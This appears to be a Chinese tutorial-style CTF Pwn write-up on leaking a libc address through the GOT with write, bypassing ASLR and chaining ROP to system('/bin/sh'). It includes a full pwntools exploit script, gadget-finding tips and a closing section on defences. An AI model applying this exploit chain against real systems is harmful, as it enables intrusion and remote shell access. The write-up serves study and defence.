从CTF Pwn题实战解析:利用GOT泄露绕过ASLR构建ROP攻击链

📅 2026/7/22 13:05:33 👁️ 阅读次数 📝 编程学习
从CTF Pwn题实战解析:利用GOT泄露绕过ASLR构建ROP攻击链

1. 项目概述:从一道CTF题到通用攻击链的构建

最近在复盘一道经典的CTF(Capture The Flag)Pwn题目时,遇到了一个有趣的场景:目标程序是一个开启了NX(No-eXecute)保护、但没有开启PIE(Position-Independent Executable)的64位ELF文件。程序本身功能简单,存在一个明显的栈溢出漏洞,但翻遍整个程序的GOT(Global Offset Table)表和字符串,都找不到system函数或/bin/sh字符串的影子。更“抠门”的是,程序甚至没有调用putsprintf这类能直接输出内容的函数,只有writeread。题目提示是“利用libc泄露地址”,这直接点明了核心思路——在没有现成“武器”的情况下,我们需要自己从内存中“锻造”出执行任意命令的能力。这不仅仅是解一道题,其背后是一套在真实漏洞利用中,当目标环境受限时,如何通过信息泄露(Information Leak)一步步构建完整攻击链的通用方法论。无论是CTF竞赛还是实际的安全研究,理解并掌握这种“无中生有”的技巧都至关重要。

2. 核心原理:理解程序与libc的运行时绑定

要完成这项任务,我们必须先理解现代Linux程序是如何与共享库(尤其是libc)协同工作的。这不仅仅是调用函数那么简单,而是关乎地址空间布局和动态链接的深层机制。

2.1 动态链接与GOT/PLT表

当我们编译一个使用了libc函数的C程序时,编译器并不会将libc的代码直接塞进我们的可执行文件里。相反,它采用了一种叫做动态链接(Dynamic Linking)的方式。在程序启动时,动态链接器(ld.so)会将所需的共享库(如libc.so.6)映射到进程的地址空间中。

那么,程序中的call printf指令如何找到被映射到内存中某个随机位置的printf函数呢?这里就引入了两个关键数据结构:PLT(Procedure Linkage Table,过程链接表)和GOT(Global Offset Table,全局偏移表)。

你可以把PLT看作是一个“跳转代理”。程序里所有调用printf的地方,实际上都是调用printf@plt。这个printf@plt的第一条指令是jmp [GOT[n]],即跳转到GOT表中某个槽位存储的地址。在程序刚加载、函数第一次被调用前,这个GOT槽位里存放的并不是printf的真实地址,而是printf@plt中下一条指令的地址(即“压栈然后跳转到动态链接器”的代码)。动态链接器会负责找到printf在内存中的真实地址,并将其写回对应的GOT槽。之后,任何对printf的调用,通过PLT的jmp [GOT[n]]指令,就会直接跳转到真实的libc函数地址了。

关键点:GOT表是可写的,里面存储着已经被解析过的libc函数的绝对地址。如果我们可以读取GOT表的内容,就能得到某个libc函数在内存中的运行时地址。

2.2 地址空间布局随机化(ASLR)与信息泄露的价值

现代操作系统为了增加漏洞利用的难度,普遍启用了ASLR。这意味着每次程序运行时,libc被加载到内存中的基地址(libc_base)是随机变化的。但是,libc内部各个函数相对于这个基地址的偏移量(offset)在同一个libc版本中是固定的。

这就引出了一个核心公式:libc_function_address = libc_base + function_offset

如果我们能通过某种方式(比如读取GOT表)泄露出任何一个已知的libc函数的运行时地址(libc_function_address),并且我们知道该函数在特定libc版本中的偏移量(function_offset),那么我们就可以计算出本次运行中libc的基地址:libc_base = libc_function_address - function_offset

一旦得到了libc_base,我们就可以计算出libc中任何其他函数的地址,包括我们梦寐以求的system函数,以及字符串/bin/sh的地址(这个字符串通常也存储在libc的数据区)。这就是“信息泄露”攻击的基石:用已知的一点信息,推算出整个“王国”的地图。

2.3 目标程序分析:我们有什么,缺什么?

回到我们的实战场景。程序给了我们以下“资产”:

  1. 一个栈溢出漏洞:允许我们覆盖返回地址,控制程序执行流。
  2. 可用的gadget:由于没有开启PIE,程序本身的代码段(.text)加载地址是固定的。我们可以用ROPgadget等工具在其中寻找有用的指令片段(gadgets),例如pop rdi; ret(用于传递第一个参数)、ret等。
  3. 可用的函数writereadwrite函数尤为重要,因为它有三个参数(文件描述符、缓冲区地址、长度),可以用于将内存中的数据(比如GOT表中的地址)输出到标准输出,实现信息泄露。read函数则可以用于向内存中写入数据(比如第二次溢出时写入ROP链)。

我们缺失的“武器”是:

  1. system函数的地址。
  2. "/bin/sh"字符串的地址。

因此,攻击路径非常清晰:利用第一次溢出,调用write泄露某个libc函数地址;计算libc基址;利用第二次溢出,调用system("/bin/sh")

3. 攻击链第一步:精心构造第一次ROP链泄露libc地址

第一次溢出的目标不是直接getshell,而是“探路”。我们需要精心设计一个ROP链,调用write函数,将GOT表中某个libc函数的地址打印出来。

3.1 选择泄露目标函数

并非所有GOT表中的函数都适合泄露。选择标准是:

  • 该函数必须在程序中被调用过:这样它的GOT项才已经被动态链接器填充为真实的libc地址。通常,main函数中调用的函数是安全的。
  • 该函数在libc中的偏移量易于查找且稳定:常用函数如writereadputsprintf__libc_start_main等都是好选择。

在我们的例子中,程序调用了writeread。选择泄露write的GOT地址是一个自然的选择,因为我们接下来马上要利用它。我们可以用objdump -R ./targetreadelf -r ./target命令查看GOT表项,找到write的GOT地址,例如0x601018

3.2 构造x86_64下的ROP链(调用write)

在64位Linux下,函数调用遵循System V AMD64 ABI约定,前六个整数或指针参数依次通过寄存器RDI,RSI,RDX,RCX,R8,R9传递。write的函数签名是ssize_t write(int fd, const void *buf, size_t count)

  • fd(文件描述符):标准输出是1,所以RDI = 1
  • buf(缓冲区地址):我们想泄露write@got.plt的地址,所以RSI = write_got(例如0x601018)。
  • count(长度):一个地址在64位下是8字节,所以RDX = 8

因此,我们需要一组gadgets来设置这些寄存器,然后跳转到write@plt执行。假设我们在程序中找到了以下gadgets(通过ROPgadget --binary ./target):

  • pop rdi; ret地址在0x4007c3
  • pop rsi; pop r15; ret地址在0x4007c1(注意:这里pop r15是“副作用”,我们需要给r15也填充一个无关值)
  • 设置rdx稍微麻烦,可能没有直接的pop rdx; ret。我们可以寻找其他gadget,例如pop rdx; pop rbx; ret,或者利用__libc_csu_init中的通用gadget(万能gadget)。这里假设我们找到了pop rdx; ret0x4006fe

那么,第一次的ROP链 payload1 构造如下(假设溢出点覆盖返回地址):

padding + 0x4007c3 (pop rdi; ret) + 1 + 0x4007c1 (pop rsi; pop r15; ret) + 0x601018 (write_got) + 0xdeadbeef (填充r15) + 0x4006fe (pop rdx; ret) + 8 + 0x400520 (write@plt) + 0x400610 (main_addr or a function to re-execute the vulnerable code)

解释

  1. padding填满栈缓冲区直到覆盖返回地址。
  2. 返回地址被覆盖为0x4007c3(pop rdi; ret)。执行后,rdi = 1,栈指针rsp指向下一个地址。
  3. ret跳转到0x4007c1(pop rsi; pop r15; ret)。执行后,rsi = 0x601018(write_got),r15 = 0xdeadbeef(垃圾数据)。
  4. ret跳转到0x4006fe(pop rdx; ret)。执行后,rdx = 8
  5. ret跳转到0x400520(write@plt)。此时rdi=1, rsi=0x601018, rdx=8,条件满足,执行write(1, write_got, 8),将write函数在libc中的真实地址输出到屏幕。
  6. write函数返回后,其返回值(写入的字节数)存放在rax,我们需要清理栈并让程序能再次进入漏洞点。因此,我们让ROP链最后跳回main函数地址(0x400610)或者另一个包含漏洞的函数,为第二次溢出做准备。

注意:跳回main可能会导致一些全局变量或文件描述符状态重置,在某些程序中可能有问题。更稳健的做法是跳回一个特定的、能再次触发漏洞的函数,或者利用read函数读入第二次的payload。这需要具体分析程序逻辑。

3.3 接收并计算libc基址

当发送payload1后,程序会输出8个字节的数据。我们需要在攻击脚本中接收这8个字节,并将其解包为一个64位整数(注意小端序)。

# 假设使用pwntools库 from pwn import * p = process('./target') # ... 发送payload1 ... leak_data = p.recv(8) # 接收write函数地址 write_addr = u64(leak_data.ljust(8, b'\x00')) # 解包 # 查找libc版本,并获取偏移量 # 方法1:如果已知libc版本,直接使用 libc = ELF('./libc.so.6') # 本地已知libc文件 libc_base = write_addr - libc.symbols['write'] system_addr = libc_base + libc.symbols['system'] binsh_addr = libc_base + next(libc.search(b'/bin/sh\x00')) # 方法2:使用在线数据库或工具(如DynELF,但更常用的是直接查) # 在实际CTF中,通常会提供libc文件,或者通过泄露多个地址来匹配确定libc版本。 print(f"Leaked write address: {hex(write_addr)}") print(f"Calculated libc base: {hex(libc_base)}") print(f"System address: {hex(system_addr)}") print(f"/bin/sh address: {hex(binsh_addr)}")

4. 攻击链第二步:利用泄露信息构造最终攻击

拿到libc_base后,我们就拥有了“武器库”。第二次溢出的目标就是调用system("/bin/sh")

4.1 构造最终的ROP链(调用system)

这次构造简单很多,只需要设置rdi/bin/sh的地址,然后跳转到system的地址。

padding2 + 0x4007c3 (pop rdi; ret) + binsh_addr + system_addr

注意:这里的system_addrbinsh_addr是我们在上一步计算出来的libc中的地址。padding2需要再次填满缓冲区直到覆盖返回地址。由于我们第一次ROP链最后跳回了main或漏洞函数,程序会重新执行,我们可以再次通过输入触发溢出,发送payload2

4.2 完整攻击脚本示例

将两步结合起来,一个完整的利用脚本(使用pwntools)框架如下:

#!/usr/bin/env python3 from pwn import * context.binary = './target' context.log_level = 'debug' p = process('./target') # 本地 # p = remote('靶机地址', 端口) # 远程 # 第一步:泄露write地址 elf = ELF('./target') pop_rdi = 0x4007c3 pop_rsi_r15 = 0x4007c1 pop_rdx = 0x4006fe # 假设的gadget,实际需要查找 write_plt = elf.plt['write'] write_got = elf.got['write'] main_addr = elf.symbols['main'] # 构造payload1 offset = 40 # 缓冲区到返回地址的偏移,需要通过调试确定 payload1 = b'A' * offset payload1 += p64(pop_rdi) + p64(1) payload1 += p64(pop_rsi_r15) + p64(write_got) + p64(0) # r15填0 payload1 += p64(pop_rdx) + p64(8) payload1 += p64(write_plt) payload1 += p64(main_addr) # 跳回main,准备第二次输入 p.sendlineafter(b'some prompt', payload1) # 根据实际交互调整 leak = p.recv(8) write_addr = u64(leak.ljust(8, b'\x00')) log.success(f'write address: {hex(write_addr)}') # 计算libc基址和关键地址(假设使用提供的libc) libc = ELF('./libc.so.6') libc_base = write_addr - libc.symbols['write'] system_addr = libc_base + libc.symbols['system'] binsh_addr = libc_base + next(libc.search(b'/bin/sh\x00')) log.success(f'libc base: {hex(libc_base)}') log.success(f'system address: {hex(system_addr)}') log.success(f'/bin/sh address: {hex(binsh_addr)}') # 第二步:调用system("/bin/sh") payload2 = b'A' * offset payload2 += p64(pop_rdi) + p64(binsh_addr) payload2 += p64(system_addr) p.sendlineafter(b'some prompt', payload2) # 再次触发漏洞 # 获取shell p.interactive()

5. 高级技巧与疑难问题排查

在实际操作中,事情很少一帆风顺。下面分享一些踩坑后总结的经验。

5.1 Gadget不全或找不到pop rdx怎么办?

这是64位ROP中最常见的问题之一。rdx作为第三个参数寄存器,专用的pop rdx; retgadget有时确实难找。除了继续用更复杂的ROPgadget参数搜索,还有以下备选方案:

  1. 利用__libc_csu_init中的“万能gadget”:在程序的__libc_csu_init函数末尾,通常存在一段非常强大的gadget序列,可以一次性设置rdx,rsi,edirdi的低32位)寄存器。你需要仔细分析这段汇编,构造合适的栈布局来利用它。这是解决复杂参数传递的终极武器之一。
  2. 换用其他函数泄露:如果write需要rdx而找不到gadget,可以看看程序是否调用了putsprintfputs只需要一个参数(字符串地址),我们可以泄露puts@got的地址。printf虽然参数复杂,但可以用%s格式字符串配合可控的缓冲区来泄露,这引入了格式化字符串漏洞的利用思路。
  3. 使用read函数进行“栈迁移”或“ROP链拼接”:如果程序有read,我们可以先泄露一个地址,然后利用read将更长的ROP链(可能包含设置rdx的复杂操作)读到内存中一个已知且可执行的位置(如.bss段),再跳转过去执行。这需要结合内存布局和可写可执行区域的知识。

5.2 泄露的地址总是错位或程序崩溃?

  1. 栈对齐问题(Stack Alignment):在x86_64的System V ABI中,call指令执行时,要求栈指针rsp在进入函数时是16字节对齐的(即rsp % 16 == 0)。某些libc函数(特别是system)对此要求严格。如果你的ROP链跳转到system时程序崩溃,很可能是因为栈没有对齐。解决方法是在跳转前增加一个retgadget(地址通常很好找,例如0x4006be)。一个ret指令相当于pop rip,它会将rsp加8,从而调整对齐。
    ... + p64(pop_rdi) + p64(binsh_addr) + p64(ret_addr) + p64(system_addr)
  2. 接收数据不完整:确保你的接收语句匹配程序输出。write(1, addr, 8)严格输出8字节,但程序可能在此之前或之后有其他输出。使用p.recvuntil()p.recvline()来精确过滤,或者使用p.clean()清空缓冲区后再接收。
  3. 偏移量计算错误:务必确认你使用的libc版本与靶机上的完全一致。不同版本(如Ubuntu 18.04的libc-2.27和Ubuntu 20.04的libc-2.31)的函数偏移量可能不同。在CTF中,通常提供libc文件;在真实环境中,可能需要通过泄露两个或多个函数地址来在数据库中匹配确定libc版本(例如使用libc-database工具)。

5.3 程序没有明显输出函数,只有read/write怎么办?

这正是我们案例中的情况。write本身就是输出函数,完全可以用于泄露。如果连write都没有,只有read,那情况就更棘手,通常意味着需要更复杂的利用链,例如:

  • 利用read的返回值read返回读取的字节数到rax。虽然不能直接输出内存,但可以通过影响rax的值,结合后续的条件判断或计算gadget,间接推断出信息(这属于侧信道攻击,难度极高)。
  • 寻找其他信息泄露途径:检查程序是否在出错时有exit状态码反馈?或者是否能通过read覆盖某些关键数据(如FILE结构体),在后续操作中触发异常并泄露信息?这需要对程序逻辑有更深的理解。
  • 利用stdout/_IO_FILE结构体:高级技巧,通过篡改stdoutstderr相关的FILE结构体,使得后续哪怕调用putsprintf(即使程序没直接调用,但libc内部可能会用)时,将数据输出到我们控制的文件描述符或缓冲区。

5.4 关于“one-gadget”的替代方案

在获取了libc基址后,除了调用system("/bin/sh"),还有一种更简洁的武器叫做“one-gadget”。这是libc中一些特殊的、执行execve("/bin/sh", NULL, NULL)的指令序列。只要满足特定的寄存器或栈状态条件(例如rsp+0x70为NULL),跳转到它就能直接getshell。你可以用one_gadget工具查找目标libc中的one-gadget。

one_gadget ./libc.so.6

如果运气好,程序状态恰好满足某个one-gadget的条件,那么第二次ROP链就可以简化为直接跳转到libc_base + one_gadget_offset。这比构造system调用更稳定(避免了/bin/sh字符串地址可能包含坏字符的问题)和简洁。但它的约束条件往往比较苛刻,需要反复尝试和调试。

6. 实战心得与防御启示

经过多次实战,我深刻体会到,这种“泄露->计算->攻击”的模式是现代漏洞利用的常态。防御方(开发者)可以从中学到以下几点:

  1. 强化地址随机化:确保PIE(位置无关可执行文件)被启用,这样程序本身的代码段地址也是随机的,攻击者难以找到稳定的gadgets。
  2. 部署控制流完整性(CFI):如Shadow Stack等机制,可以严格限制程序执行流只能跳转到预先设定好的合法地址,极大增加ROP链构建的难度。
  3. 使用只读重定位(RELRO):开启Full RELRO,使得GOT表在动态链接完成后变为只读,防止攻击者篡改GOT表(虽然本文主要利用的是读取GOT,但写GOT也是常见攻击手段)。
  4. 谨慎使用危险函数:对writeread这类能读写内存的函数,进行严格的边界检查,杜绝溢出。
  5. 及时更新libc:新版本的libc可能会引入新的安全机制或改变内存布局,增加利用难度。

而对于攻击方(安全研究员),这个实战过程锻炼的是一种“资源受限环境下的问题解决能力”。它要求你像侦探一样,仔细审计程序给出的每一点线索(函数、gadget、漏洞点),像工程师一样,用有限的“零件”组装出功能完整的“机器”。每一次成功的利用,都是对程序运行时状态、操作系统机制和计算机体系结构理解的一次深化。记住,没有绝对安全的系统,只有尚未被发现的攻击路径。